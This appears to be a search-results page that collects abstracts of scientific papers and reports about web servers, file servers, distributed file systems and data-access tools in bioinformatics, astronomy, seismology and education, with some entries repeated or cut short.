TOPCONS (http://topcons.net/) is a widely used web server for consensus prediction of membrane protein topology. We hereby present a major update to the server, with some substantial improvements, including the following: (i) TOPCONS can now efficiently separate signal peptides from transmembrane regions. (ii) The server can now differentiate more successfully between globular and membrane proteins. (iii) The server now is even slightly faster, although a much larger database is used to generate the multiple sequence alignments. For most proteins, the final prediction is produced in a matter of seconds. (iv) The user-friendly interface is retained, with the additional feature of submitting batch files and accessing the server programmatically using standard interfaces, making it thus ideal for proteome-wide analyses. Indicatively, the user can now scan the entire human proteome in a few days. (v) For proteins with homology to a known 3D structure, the homology-inferred topology is also displayed. (vi) Finally, the combination of methods currently implemented achieves an overall increase in performance by 4% as compared to the currently available best-scoring methods and TOPCONS is the only method that can identify signal peptides and still maintain a state-of-the-art performance in topology predictions. © The Author(s) 2015. Published by Oxford University Press on behalf of Nucleic Acids Research.

MultiSETTER: web server for multiple RNA structure comparison.

PubMed

Čech, Petr; Hoksza, David; Svozil, Daniel

2015-08-12

Understanding the architecture and function of RNA molecules requires methods for comparing and analyzing their tertiary and quaternary structures. While structural superposition of short RNAs is achievable in a reasonable time, large structures represent much bigger challenge. Therefore, we have developed a fast and accurate algorithm for RNA pairwise structure superposition called SETTER and implemented it in the SETTER web server. However, though biological relationships can be inferred by a pairwise structure alignment, key features preserved by evolution can be identified only from a multiple structure alignment. Thus, we extended the SETTER algorithm to the alignment of multiple RNA structures and developed the MultiSETTER algorithm. In this paper, we present the updated version of the SETTER web server that implements a user friendly interface to the MultiSETTER algorithm. The server accepts RNA structures either as the list of PDB IDs or as user-defined PDB files. After the superposition is computed, structures are visualized in 3D and several reports and statistics are generated. To the best of our knowledge, the MultiSETTER web server is the first publicly available tool for a multiple RNA structure alignment. The MultiSETTER server offers the visual inspection of an alignment in 3D space which may reveal structural and functional relationships not captured by other multiple alignment methods based either on a sequence or on secondary structure motifs.

Web-based document image processing

NASA Astrophysics Data System (ADS)

Walker, Frank L.; Thoma, George R.

1999-12-01

Increasing numbers of research libraries are turning to the Internet for electron interlibrary loan and for document delivery to patrons. This has been made possible through the widespread adoption of software such as Ariel and DocView. Ariel, a product of the Research Libraries Group, converts paper-based documents to monochrome bitmapped images, and delivers them over the Internet. The National Library of Medicine's DocView is primarily designed for library patrons are beginning to reap the benefits of this new technology, barriers exist, e.g., differences in image file format, that lead to difficulties in the use of library document information. To research how to overcome such barriers, the Communications Engineering Branch of the Lister Hill National Center for Biomedical Communications, an R and D division of NLM, has developed a web site called the DocMorph Server. This is part of an ongoing intramural R and D program in document imaging that has spanned many aspects of electronic document conversion and preservation, Internet document transmission and document usage. The DocMorph Server Web site is designed to fill two roles. First, in a role that will benefit both libraries and their patrons, it allows Internet users to upload scanned image files for conversion to alternative formats, thereby enabling wider delivery and easier usage of library document information. Second, the DocMorph Server provides the design team an active test bed for evaluating the effectiveness and utility of new document image processing algorithms and functions, so that they may be evaluated for possible inclusion in other image processing software products being developed at NLM or elsewhere. This paper describes the design of the prototype DocMorph Server and the image processing functions being implemented on it.

Industrial-Strength Streaming Video.

ERIC Educational Resources Information Center

Avgerakis, George; Waring, Becky

1997-01-01

Corporate training, financial services, entertainment, and education are among the top applications for streaming video servers, which send video to the desktop without downloading the whole file to the hard disk, saving time and eliminating copyrights questions. Examines streaming video technology, lists ten tips for better net video, and ranks…

File Assignment in a Central Server Computer Network.

DTIC Science & Technology

1979-01-01

somewhat artificial for many applications. Sometimes important variables must be known in advance when they are more appropriately decision variables... intellegently , we must have some notion of the errors that may be introduced. We must account for two types of er:ors. The first is the error

An Educators' Guide to Information Access across the Internet.

ERIC Educational Resources Information Center

Hazari, Sunil

1994-01-01

A discussion of tools available for use of the Internet, particularly by college and university educators and students, offers information on use of various services, including electronic mailing list servers, data communications protocols for networking, inter-host connections, file transfer protocol, gopher software, bibliographic searching,…

75 FR 32915 - Privacy Act of 1974; System of Records

Federal Register 2010, 2011, 2012, 2013, 2014

2010-06-10

... used to authenticate authorized desktop and laptop computer users. Computer servers are scanned monthly... data is also used for management and statistical reports and studies. Routine uses of records... duties. The computer files are password protected with access restricted to authorized users. Records are...

The ABCs of PDFs.

ERIC Educational Resources Information Center

Adler, Steve

2000-01-01

Explains the use of Adobe Acrobat's Portable Document Format (PDF) for school Web sites and Intranets. Explains the PDF workflow; components for Web-based PDF delivery, including the Web server, preparing content of the PDF files, and the browser; incorporating PDFs into the Web site; incorporating multimedia; and software. (LRW)

X-Windows PVT Widget Class

NASA Technical Reports Server (NTRS)

Barry, Matthew R.

2006-01-01

The X-Windows Process Validation Table (PVT) Widget Class ( Class is used here in the object-oriented-programming sense of the word) was devised to simplify the task of implementing network registration services for Information Sharing Protocol (ISP) graphical-user-interface (GUI) computer programs. Heretofore, ISP PVT programming tasks have required many method calls to identify, query, and interpret the connections and messages exchanged between a client and a PVT server. Normally, programmers have utilized direct access to UNIX socket libraries to implement the PVT protocol queries, necessitating the use of many lines of source code to perform frequent tasks. Now, the X-Windows PVT Widget Class encapsulates ISP client server network registration management tasks within the framework of an X Windows widget. Use of the widget framework enables an X Windows GUI program to interact with PVT services in an abstract way and in the same manner as that of other graphical widgets, making it easier to program PVT clients. Wrapping the PVT services inside the widget framework enables a programmer to treat a PVT server interface as though it were a GUI. Moreover, an alternate subclass could implement another service in a widget of the same type. This program was written by Matthew R. Barry of United Space Alliance for Johnson Space Center. For further information, contact the Johnson Technology Transfer Office at (281) 483-3809. MSC-23582 Shuttle Data Center File- Processing Tool in Java A Java-language computer program has been written to facilitate mining of data in files in the Shuttle Data Center (SDC) archives. This program can be executed on a variety of workstations or via Web-browser programs. This program is partly similar to prior C-language programs used for the same purpose, while differing from those programs in that it exploits the platform-neutrality of Java in implementing several features that are important for analysis of large sets of time-series data. The program supports regular expression queries of SDC archive files, reads the files, interleaves the time-stamped samples according to a chosen output, then transforms the results into that format. A user can choose among a variety of output file formats that are useful for diverse purposes, including plotting, Markov modeling, multivariate density estimation, and wavelet multiresolution analysis, as well as for playback of data in support of simulation and testing.

Measurement, Modeling, and Analysis of a Large-scale Blog Sever Workload

DOE Office of Scientific and Technical Information (OSTI.GOV)

Jeon, Myeongjae; Hwang, Jeaho; Kim, Youngjae

2010-01-01

Despite the growing popularity of Online Social Networks (OSNs), the workload characteristics of OSN servers, such as those hosting blog services, are not well understood. Understanding workload characteristics is important for opti- mizing and improving the performance of current systems and software based on observed trends. Thus, in this paper, we characterize the system workload of the largest blog hosting servers in South Korea, Tistory1. In addition to understanding the system workload of the blog hosting server, we have developed synthesized workloads and obtained the following major findings: (i) the transfer size of non-multimedia files and blog articles can bemore » modeled by a truncated Pareto distribution and a log-normal distribution respectively, and (ii) users accesses to blog articles do not show temporal locality, but they are strongly biased toward those posted along with images or audio.« less

Murmer, a message generator and reporter for Unix, VMS, and VxWorks

NASA Astrophysics Data System (ADS)

Oleynik, G.; Appleton, B.; Moore, C.; Sergey, G.; Udumula, L.

1994-02-01

Murmer is a Unix based message generation, reporting, display, and logging system that we have developed for use in data acquisition systems at Fermilab. Murmer is a tool for the production and management of message reporting. Its usefulness ranges from software product development and maintenance to system level shakedown and diagnostics. Murmer provides a VMS MESSAGE-like function code generation utility, a client routine package for sending these codes over the network to a central server, and a server which translates the codes into meaningful visual information, writes the information to a logfile, and display it on B&W or color X windows. Because Murmer stores message information in keyed access files, it can provide advanced features such as popping up help when a displayed message is clicked on by the mouse and executing 'action' shell scripts when selected messages are received by the server.

New web technologies for astronomy

NASA Astrophysics Data System (ADS)

Sprimont, P.-G.; Ricci, D.; Nicastro, L.

2014-12-01

Thanks to the new HTML5 capabilities and the huge improvements of the JavaScript language, it is now possible to design very complex and interactive web user interfaces. On top of that, the once monolithic and file-server oriented web servers are evolving into easily programmable server applications capable to cope with the complex interactions made possible by the new generation of browsers. We believe that the whole community of amateur and professionals astronomers can benefit from the potential of these new technologies. New web interfaces can be designed to provide the user with a large deal of much more intuitive and interactive tools. Accessing astronomical data archives, schedule, control and monitor observatories, and in particular robotic telescopes, supervising data reduction pipelines, all are capabilities that can now be implemented in a JavaScript web application. In this paper we describe the Sadira package we are implementing exactly to this aim.

Toward privacy-preserving JPEG image retrieval

NASA Astrophysics Data System (ADS)

Cheng, Hang; Wang, Jingyue; Wang, Meiqing; Zhong, Shangping

2017-07-01

This paper proposes a privacy-preserving retrieval scheme for JPEG images based on local variance. Three parties are involved in the scheme: the content owner, the server, and the authorized user. The content owner encrypts JPEG images for privacy protection by jointly using permutation cipher and stream cipher, and then, the encrypted versions are uploaded to the server. With an encrypted query image provided by an authorized user, the server may extract blockwise local variances in different directions without knowing the plaintext content. After that, it can calculate the similarity between the encrypted query image and each encrypted database image by a local variance-based feature comparison mechanism. The authorized user with the encryption key can decrypt the returned encrypted images with plaintext content similar to the query image. The experimental results show that the proposed scheme not only provides effective privacy-preserving retrieval service but also ensures both format compliance and file size preservation for encrypted JPEG images.

Web-based Quality Control Tool used to validate CERES products on a cluster of Linux servers

NASA Astrophysics Data System (ADS)

Chu, C.; Sun-Mack, S.; Heckert, E.; Chen, Y.; Mlynczak, P.; Mitrescu, C.; Doelling, D.

2014-12-01

There have been a few popular desktop tools used in the Earth Science community to validate science data. Because of the limitation on the capacity of desktop hardware such as disk space and CPUs, those softwares are not able to display large amount of data from files.This poster will talk about an in-house developed web-based software built on a cluster of Linux servers. That allows users to take advantage of a few Linux servers working in parallel to generate hundreds images in a short period of time. The poster will demonstrate:(1) The hardware and software architecture is used to provide high throughput of images. (2) The software structure that can incorporate new products and new requirement quickly. (3) The user interface about how users can manipulate the data and users can control how the images are displayed.

Situational Awareness of Network System Roles (SANSR)

DOE Office of Scientific and Technical Information (OSTI.GOV)

Huffer, Kelly M; Reed, Joel W

In a large enterprise it is difficult for cyber security analysts to know what services and roles every machine on the network is performing (e.g., file server, domain name server, email server). Using network flow data, already collected by most enterprises, we developed a proof-of-concept tool that discovers the roles of a system using both clustering and categorization techniques. The tool's role information would allow cyber analysts to detect consequential changes in the network, initiate incident response plans, and optimize their security posture. The results of this proof-of-concept tool proved to be quite accurate on three real data sets. Wemore » will present the algorithms used in the tool, describe the results of preliminary testing, provide visualizations of the results, and discuss areas for future work. Without this kind of situational awareness, cyber analysts cannot quickly diagnose an attack or prioritize remedial actions.« less

New virtual laboratories presenting advanced motion control concepts

NASA Astrophysics Data System (ADS)

Goubej, Martin; Krejčí, Alois; Reitinger, Jan

2015-11-01

The paper deals with development of software framework for rapid generation of remote virtual laboratories. Client-server architecture is chosen in order to employ real-time simulation core which is running on a dedicated server. Ordinary web browser is used as a final renderer to achieve hardware independent solution which can be run on different target platforms including laptops, tablets or mobile phones. The provided toolchain allows automatic generation of the virtual laboratory source code from the configuration file created in the open- source Inkscape graphic editor. Three virtual laboratories presenting advanced motion control algorithms have been developed showing the applicability of the proposed approach.

Podcasting Is Dead. Long Live Video!

ERIC Educational Resources Information Center

Cann, Alan J.

2007-01-01

Podcasting (an automatic mechanism whereby multimedia computer files are transferred from a server to a client, en.wikipedia.org/wiki/podcast) is becoming increasingly popular in education. Although podcasts enable students and teachers to share information anywhere at anytime, the most frequent application of the technology to date has been to…

Log on to the Future: One School's Success Story.

ERIC Educational Resources Information Center

Hovenic, Ginger

This paper describes Clear View Elementary School's (California) successful experience with integrating technology into the curriculum. Since its inception seven years ago, the school has acquired 250 computers, networked them all on two central file servers, and computerized the library and trained all staff members to be proficient facilitators…

The Air Force Academy Instructor Workstation (IWS): I. Design and Implementation.

ERIC Educational Resources Information Center

Gist, Thomas E.; And Others

1989-01-01

Discusses the design and implementation of a computer-controlled instructor workstation (IWS), including a videodisc player, that was developed at the Air Force Academy. System capabilities for lesson presentation, administrative functions, an authoring system, and a file server for courseware maintenance are explained. (seven references) (LRW)

75 FR 26847 - Privacy Act of 1974; System of Records

Federal Register 2010, 2011, 2012, 2013, 2014

2010-05-12

..., encrypted VHA servers, personal computers, laptops, or media. All e-mail transmissions of such files use... requested in connection with appeals, special studies of the civil service and other merit systems, reviews... connection with appeals, special studies of the civil service and other merit systems, reviews of rules and...

iScreen: world's first cloud-computing web server for virtual screening and de novo drug design based on TCM database@Taiwan

NASA Astrophysics Data System (ADS)

Tsai, Tsung-Ying; Chang, Kai-Wei; Chen, Calvin Yu-Chian

2011-06-01

The rapidly advancing researches on traditional Chinese medicine (TCM) have greatly intrigued pharmaceutical industries worldwide. To take initiative in the next generation of drug development, we constructed a cloud-computing system for TCM intelligent screening system (iScreen) based on TCM Database@Taiwan. iScreen is compacted web server for TCM docking and followed by customized de novo drug design. We further implemented a protein preparation tool that both extract protein of interest from a raw input file and estimate the size of ligand bind site. In addition, iScreen is designed in user-friendly graphic interface for users who have less experience with the command line systems. For customized docking, multiple docking services, including standard, in-water, pH environment, and flexible docking modes are implemented. Users can download first 200 TCM compounds of best docking results. For TCM de novo drug design, iScreen provides multiple molecular descriptors for a user's interest. iScreen is the world's first web server that employs world's largest TCM database for virtual screening and de novo drug design. We believe our web server can lead TCM research to a new era of drug development. The TCM docking and screening server is available at http://iScreen.cmu.edu.tw/.

P43-S Computational Biology Applications Suite for High-Performance Computing (BioHPC.net)

PubMed Central

Pillardy, J.

2007-01-01

One of the challenges of high-performance computing (HPC) is user accessibility. At the Cornell University Computational Biology Service Unit, which is also a Microsoft HPC institute, we have developed a computational biology application suite that allows researchers from biological laboratories to submit their jobs to the parallel cluster through an easy-to-use Web interface. Through this system, we are providing users with popular bioinformatics tools including BLAST, HMMER, InterproScan, and MrBayes. The system is flexible and can be easily customized to include other software. It is also scalable; the installation on our servers currently processes approximately 8500 job submissions per year, many of them requiring massively parallel computations. It also has a built-in user management system, which can limit software and/or database access to specified users. TAIR, the major database of the plant model organism Arabidopsis, and SGN, the international tomato genome database, are both using our system for storage and data analysis. The system consists of a Web server running the interface (ASP.NET C#), Microsoft SQL server (ADO.NET), compute cluster running Microsoft Windows, ftp server, and file server. Users can interact with their jobs and data via a Web browser, ftp, or e-mail. The interface is accessible at http://cbsuapps.tc.cornell.edu/.

iScreen: world's first cloud-computing web server for virtual screening and de novo drug design based on TCM database@Taiwan.

PubMed

Tsai, Tsung-Ying; Chang, Kai-Wei; Chen, Calvin Yu-Chian

2011-06-01

The rapidly advancing researches on traditional Chinese medicine (TCM) have greatly intrigued pharmaceutical industries worldwide. To take initiative in the next generation of drug development, we constructed a cloud-computing system for TCM intelligent screening system (iScreen) based on TCM Database@Taiwan. iScreen is compacted web server for TCM docking and followed by customized de novo drug design. We further implemented a protein preparation tool that both extract protein of interest from a raw input file and estimate the size of ligand bind site. In addition, iScreen is designed in user-friendly graphic interface for users who have less experience with the command line systems. For customized docking, multiple docking services, including standard, in-water, pH environment, and flexible docking modes are implemented. Users can download first 200 TCM compounds of best docking results. For TCM de novo drug design, iScreen provides multiple molecular descriptors for a user's interest. iScreen is the world's first web server that employs world's largest TCM database for virtual screening and de novo drug design. We believe our web server can lead TCM research to a new era of drug development. The TCM docking and screening server is available at http://iScreen.cmu.edu.tw/.

The Global File System

NASA Technical Reports Server (NTRS)

Soltis, Steven R.; Ruwart, Thomas M.; OKeefe, Matthew T.

1996-01-01

The global file system (GFS) is a prototype design for a distributed file system in which cluster nodes physically share storage devices connected via a network-like fiber channel. Networks and network-attached storage devices have advanced to a level of performance and extensibility so that the previous disadvantages of shared disk architectures are no longer valid. This shared storage architecture attempts to exploit the sophistication of storage device technologies whereas a server architecture diminishes a device's role to that of a simple component. GFS distributes the file system responsibilities across processing nodes, storage across the devices, and file system resources across the entire storage pool. GFS caches data on the storage devices instead of the main memories of the machines. Consistency is established by using a locking mechanism maintained by the storage devices to facilitate atomic read-modify-write operations. The locking mechanism is being prototyped in the Silicon Graphics IRIX operating system and is accessed using standard Unix commands and modules.

Using applet-servlet communication for optimizing window, level and crop for DICOM to JPEG conversion.

PubMed

Kamauu, Aaron W C; DuVall, Scott L; Wiggins, Richard H; Avrin, David E

2008-09-01

In the creation of interesting radiological cases in a digital teaching file, it is necessary to adjust the window and level settings of an image to effectively display the educational focus. The web-based applet described in this paper presents an effective solution for real-time window and level adjustments without leaving the picture archiving and communications system workstation. Optimized images are created, as user-defined parameters are passed between the applet and a servlet on the Health Insurance Portability and Accountability Act-compliant teaching file server.

Developing CORBA-Based Distributed Scientific Applications From Legacy Fortran Programs

NASA Technical Reports Server (NTRS)

Sang, Janche; Kim, Chan; Lopez, Isaac

2000-01-01

An efficient methodology is presented for integrating legacy applications written in Fortran into a distributed object framework. Issues and strategies regarding the conversion and decomposition of Fortran codes into Common Object Request Broker Architecture (CORBA) objects are discussed. Fortran codes are modified as little as possible as they are decomposed into modules and wrapped as objects. A new conversion tool takes the Fortran application as input and generates the C/C++ header file and Interface Definition Language (IDL) file. In addition, the performance of the client server computing is evaluated.

DECOMP: a PDB decomposition tool on the web.

PubMed

Ordog, Rafael; Szabadka, Zoltán; Grolmusz, Vince

2009-07-27

The protein databank (PDB) contains high quality structural data for computational structural biology investigations. We have earlier described a fast tool (the decomp_pdb tool) for identifying and marking missing atoms and residues in PDB files. The tool also automatically decomposes PDB entries into separate files describing ligands and polypeptide chains. Here, we describe a web interface named DECOMP for the tool. Our program correctly identifies multi-monomer ligands, and the server also offers the preprocessed ligand-protein decomposition of the complete PDB for downloading (up to size: 5GB) AVAILABILITY: http://decomp.pitgroup.org.

An Array Library for Microsoft SQL Server with Astrophysical Applications

NASA Astrophysics Data System (ADS)

Dobos, L.; Szalay, A. S.; Blakeley, J.; Falck, B.; Budavári, T.; Csabai, I.

2012-09-01

Today's scientific simulations produce output on the 10-100 TB scale. This unprecedented amount of data requires data handling techniques that are beyond what is used for ordinary files. Relational database systems have been successfully used to store and process scientific data, but the new requirements constantly generate new challenges. Moving terabytes of data among servers on a timely basis is a tough problem, even with the newest high-throughput networks. Thus, moving the computations as close to the data as possible and minimizing the client-server overhead are absolutely necessary. At least data subsetting and preprocessing have to be done inside the server process. Out of the box commercial database systems perform very well in scientific applications from the prospective of data storage optimization, data retrieval, and memory management but lack basic functionality like handling scientific data structures or enabling advanced math inside the database server. The most important gap in Microsoft SQL Server is the lack of a native array data type. Fortunately, the technology exists to extend the database server with custom-written code that enables us to address these problems. We present the prototype of a custom-built extension to Microsoft SQL Server that adds array handling functionality to the database system. With our Array Library, fix-sized arrays of all basic numeric data types can be created and manipulated efficiently. Also, the library is designed to be able to be seamlessly integrated with the most common math libraries, such as BLAS, LAPACK, FFTW, etc. With the help of these libraries, complex operations, such as matrix inversions or Fourier transformations, can be done on-the-fly, from SQL code, inside the database server process. We are currently testing the prototype with two different scientific data sets: The Indra cosmological simulation will use it to store particle and density data from N-body simulations, and the Milky Way Laboratory project will use it to store galaxy simulation data.

Examining accident reports involving autonomous vehicles in California

PubMed Central

Nader, Nazanin; Eurich, Sky O.; Tripp, Michelle; Varadaraju, Naresh

2017-01-01

Autonomous Vehicle technology is quickly expanding its market and has found in Silicon Valley, California, a strong foothold for preliminary testing on public roads. In an effort to promote safety and transparency to consumers, the California Department of Motor Vehicles has mandated that reports of accidents involving autonomous vehicles be drafted and made available to the public. The present work shows an in-depth analysis of the accident reports filed by different manufacturers that are testing autonomous vehicles in California (testing data from September 2014 to March 2017). The data provides important information on autonomous vehicles accidents’ dynamics, related to the most frequent types of collisions and impacts, accident frequencies, and other contributing factors. The study also explores important implications related to future testing and validation of semi-autonomous vehicles, tracing the investigation back to current literature as well as to the current regulatory panorama. PMID:28931022

Examining accident reports involving autonomous vehicles in California.

PubMed

Favarò, Francesca M; Nader, Nazanin; Eurich, Sky O; Tripp, Michelle; Varadaraju, Naresh

2017-01-01

Autonomous Vehicle technology is quickly expanding its market and has found in Silicon Valley, California, a strong foothold for preliminary testing on public roads. In an effort to promote safety and transparency to consumers, the California Department of Motor Vehicles has mandated that reports of accidents involving autonomous vehicles be drafted and made available to the public. The present work shows an in-depth analysis of the accident reports filed by different manufacturers that are testing autonomous vehicles in California (testing data from September 2014 to March 2017). The data provides important information on autonomous vehicles accidents' dynamics, related to the most frequent types of collisions and impacts, accident frequencies, and other contributing factors. The study also explores important implications related to future testing and validation of semi-autonomous vehicles, tracing the investigation back to current literature as well as to the current regulatory panorama.

Aquarius's Instrument Science Data System (ISDS) Automated to Acquire, Process, Trend Data and Produce Radiometric System Assessment Reports

NASA Technical Reports Server (NTRS)

2008-01-01

The Aquarius Radiometer, a subsystem of the Aquarius Instrument required a data acquisition ground system to support calibration and radiometer performance assessment. To support calibration and compose performance assessments, we developed an automated system which uploaded raw data to a ftp server and saved raw and processed data to a database. This paper details the overall functionalities of the Aquarius Instrument Science Data System (ISDS) and the individual electrical ground support equipment (EGSE) which produced data files that were infused into the ISDS. Real time EGSEs include an ICDS Simulator, Calibration GSE, Labview controlled power supply, and a chamber data acquisition system. ICDS Simulator serves as a test conductor primary workstation, collecting radiometer housekeeping (HK) and science data and passing commands and HK telemetry collection request to the radiometer. Calibration GSE (Radiometer Active Test Source) provides source choice from multiple targets for the radiometer external calibration. Power Supply GSE, controlled by labview, provides real time voltage and current monitoring of the radiometer. And finally the chamber data acquisition system produces data reflecting chamber vacuum pressure, thermistor temperatures, AVG and watts. Each GSE system produce text based data files every two to six minutes and automatically copies the data files to the Central Archiver PC. The Archiver PC stores the data files, schedules automated uploads of these files to an external FTP server, and accepts request to copy all data files to the ISDS for offline data processing and analysis. Aquarius Radiometer ISDS contains PHP and MATLab programs to parse, process and save all data to a MySQL database. Analysis tools (MATLab programs) in the ISDS system are capable of displaying radiometer science, telemetry and auxiliary data in near real time as well as performing data analysis and producing automated performance assessment reports of the Aquarius Radiometer.

MetNetAPI: A flexible method to access and manipulate biological network data from MetNet

PubMed Central

2010-01-01

Background Convenient programmatic access to different biological databases allows automated integration of scientific knowledge. Many databases support a function to download files or data snapshots, or a webservice that offers "live" data. However, the functionality that a database offers cannot be represented in a static data download file, and webservices may consume considerable computational resources from the host server. Results MetNetAPI is a versatile Application Programming Interface (API) to the MetNetDB database. It abstracts, captures and retains operations away from a biological network repository and website. A range of database functions, previously only available online, can be immediately (and independently from the website) applied to a dataset of interest. Data is available in four layers: molecular entities, localized entities (linked to a specific organelle), interactions, and pathways. Navigation between these layers is intuitive (e.g. one can request the molecular entities in a pathway, as well as request in what pathways a specific entity participates). Data retrieval can be customized: Network objects allow the construction of new and integration of existing pathways and interactions, which can be uploaded back to our server. In contrast to webservices, the computational demand on the host server is limited to processing data-related queries only. Conclusions An API provides several advantages to a systems biology software platform. MetNetAPI illustrates an interface with a central repository of data that represents the complex interrelationships of a metabolic and regulatory network. As an alternative to data-dumps and webservices, it allows access to a current and "live" database and exposes analytical functions to application developers. Yet it only requires limited resources on the server-side (thin server/fat client setup). The API is available for Java, Microsoft.NET and R programming environments and offers flexible query and broad data- retrieval methods. Data retrieval can be customized to client needs and the API offers a framework to construct and manipulate user-defined networks. The design principles can be used as a template to build programmable interfaces for other biological databases. The API software and tutorials are available at http://www.metnetonline.org/api. PMID:21083943

Striped Data Server for Scalable Parallel Data Analysis

DOE Office of Scientific and Technical Information (OSTI.GOV)

Chang, Jin; Gutsche, Oliver; Mandrichenko, Igor

A columnar data representation is known to be an efficient way for data storage, specifically in cases when the analysis is often done based only on a small fragment of the available data structures. A data representation like Apache Parquet is a step forward from a columnar representation, which splits data horizontally to allow for easy parallelization of data analysis. Based on the general idea of columnar data storage, working on the [LDRD Project], we have developed a striped data representation, which, we believe, is better suited to the needs of High Energy Physics data analysis. A traditional columnar approachmore » allows for efficient data analysis of complex structures. While keeping all the benefits of columnar data representations, the striped mechanism goes further by enabling easy parallelization of computations without requiring special hardware. We will present an implementation and some performance characteristics of such a data representation mechanism using a distributed no-SQL database or a local file system, unified under the same API and data representation model. The representation is efficient and at the same time simple so that it allows for a common data model and APIs for wide range of underlying storage mechanisms such as distributed no-SQL databases and local file systems. Striped storage adopts Numpy arrays as its basic data representation format, which makes it easy and efficient to use in Python applications. The Striped Data Server is a web service, which allows to hide the server implementation details from the end user, easily exposes data to WAN users, and allows to utilize well known and developed data caching solutions to further increase data access efficiency. We are considering the Striped Data Server as the core of an enterprise scale data analysis platform for High Energy Physics and similar areas of data processing. We have been testing this architecture with a 2TB dataset from a CMS dark matter search and plan to expand it to multiple 100 TB or even PB scale. We will present the striped format, Striped Data Server architecture and performance test results.« less

The NetQuakes Project - Seeking a Balance Between Science and Citizens.

NASA Astrophysics Data System (ADS)

Luetgert, J. H.; Oppenheimer, D. H.

2012-12-01

The challenge for any system that uses volunteer help to do science is to dependably acquire quality data without unduly burdening the volunteer. The NetQuakes accelerograph and its data acquisition system were created to address the recognized need for more densely sampled strong ground motion recordings in urban areas to provide more accurate ShakeMaps for post-earthquake disaster assessment and to provide data for structural engineers to improve design standards. The recorder has 18 bit resolution with ±3g internal tri-axial MEMS accelerometers. Data are continuously recorded at 200 sps into a 1-2 week ringbuffer. When triggered, a miniSEED file is sent to USGS servers via the Internet. Data can also be recovered from the ringbuffer by a remote request through the NetQuakes servers. Following a power failure, the instrument can run for 36 hours using its internal battery. We rely upon cooperative citizens to host the dataloggers, provide power and Internet connectivity and perform minor servicing. Instrument and battery replacement are simple tasks that can be performed by hosts, thus reducing maintenance costs. Communication with the instrument to acquire data or deliver firmware is accomplished by file transfers using NetQuakes servers. The client instrument initiates all client-server interactions, so it safely resides behind a host's firewall. A connection to the host's LAN, and from there to the public Internet, can be made using WiFi to minimize cabling. Although timing using a cable to an external GPS antenna is possible, it is simpler to use the Network Time Protocol (NTP) to discipline the internal clock. This approach achieves timing accuracy substantially better than a sample interval. Since 2009, we have installed more than 140 NetQuakes instruments in the San Francisco Bay Area and have successfully integrated their data into the near real time data stream of the Northern California Seismic System. An additional 235 NetQuakes instruments have been installed by other regional seismic networks - all communicating via the common NetQuakes servers.

Radiology Teacher: a free, Internet-based radiology teaching file server.

PubMed

Talanow, Roland

2009-12-01

Teaching files are an essential ingredient in residency education. The online program Radiology Teacher was developed to allow the creation of interactive and customized teaching files in real time. Online access makes it available anytime and anywhere, and it is free of charge, user tailored, and easy to use. No programming skills, additional plug-ins, or installations are needed, allowing its use even on protected intranets. Special effects for enhancing the learning experience as well as the linking and the source code are created automatically by the program. It may be used in different modes by individuals and institutions to share cases from multiple authors in a single database. Radiology Teacher is an easy-to-use automatic teaching file program that may enhance users' learning experiences by offering different modes of user-defined presentations.

1:100,000-scale Counties of the United States

USGS Publications Warehouse

,

1993-01-01

This is a coverage of the county boundaries of the conterminous United States (AK, HI and Puerto Rico are available separately). The lines were extracted from U.S. Census TIGER/line files using an AML program (see 4.), written by Doug Nebert and Mark Negri, running on two Data General 6220 servers.

myPhyloDB: a local web server for the storage and analysis of metagenomics data

USDA-ARS?s Scientific Manuscript database

myPhyloDB is a user-friendly personal database with a browser-interface designed to facilitate the storage, processing, analysis, and distribution of metagenomics data. MyPhyloDB archives raw sequencing files, and allows for easy selection of project(s)/sample(s) of any combination from all availab...

Recommendations for Benchmarking Web Site Usage among Academic Libraries.

ERIC Educational Resources Information Center

Hightower, Christy; Sih, Julie; Tilghman, Adam

1998-01-01

To help library directors and Web developers create a benchmarking program to compare statistics of academic Web sites, the authors analyzed the Web server log files of 14 university science and engineering libraries. Recommends a centralized voluntary reporting structure coordinated by the Association of Research Libraries (ARL) and a method for…

The Near Future Trend: Combining Web Access and Local CD Networks. Experience and a Few Suggestions.

ERIC Educational Resources Information Center

Ma, Wei

1998-01-01

Focuses on the trend to combine Web access and CD networks, benefits of considering the community network environment as a whole, and need for flexibility in considering new technologies. Describes the Occidental College Library (California) experience of building and sharing a network and network file server. (PEN)

On the Nets. Comparing Web Browsers: Mosaic, Cello, Netscape, WinWeb and InternetWorks Life.

ERIC Educational Resources Information Center

Notess, Greg R.

1995-01-01

World Wide Web browsers are compared by speed, setup, hypertext transport protocol (HTTP) handling, management of file transfer protocol (FTP), telnet, gopher, and wide area information server (WAIS); bookmark options; and communication functions. Netscape has the most features, the fastest retrieval, sophisticated bookmark capabilities. (JMV)

75 FR 21680 - Exelon Generation Company, LLC; PSEG Nuclear, LLC; Notice of Consideration of Issuance of...

Federal Register 2010, 2011, 2012, 2013, 2014

2010-04-26

... participant (or its counsel or representative) to digitally sign documents and access the E-Submittal server... site: Go to http://www.regulations.gov and search for documents filed under Docket ID NRC-2010-0160... documents related to this notice see Section V, Further Information. SUPPLEMENTARY INFORMATION: I...

Internet Wargaming with Distributed Processing Using the Client-Server Model

DTIC Science & Technology

1997-03-01

in for war game development . There are tool kits for writing binary files that are interpreted by a particular plug-in. The most popular plug-in set...multi-player game development , the speed with which the environment is changing should be taken into 35 account. For this project JavaScript was chosen

Company's Data Security - Case Study

NASA Astrophysics Data System (ADS)

Stera, Piotr

This paper describes a computer network and data security problems in an existing company. Two main issues were pointed out: data loss protection and uncontrolled data copying. Security system was designed and implemented. The system consists of many dedicated programs. This system protect from data loss and detected unauthorized file copying from company's server by a dishonest employee.

A Scalable proxy cache for Grid Data Access

NASA Astrophysics Data System (ADS)

Cristian Cirstea, Traian; Just Keijser, Jan; Koeroo, Oscar Arthur; Starink, Ronald; Templon, Jeffrey Alan

2012-12-01

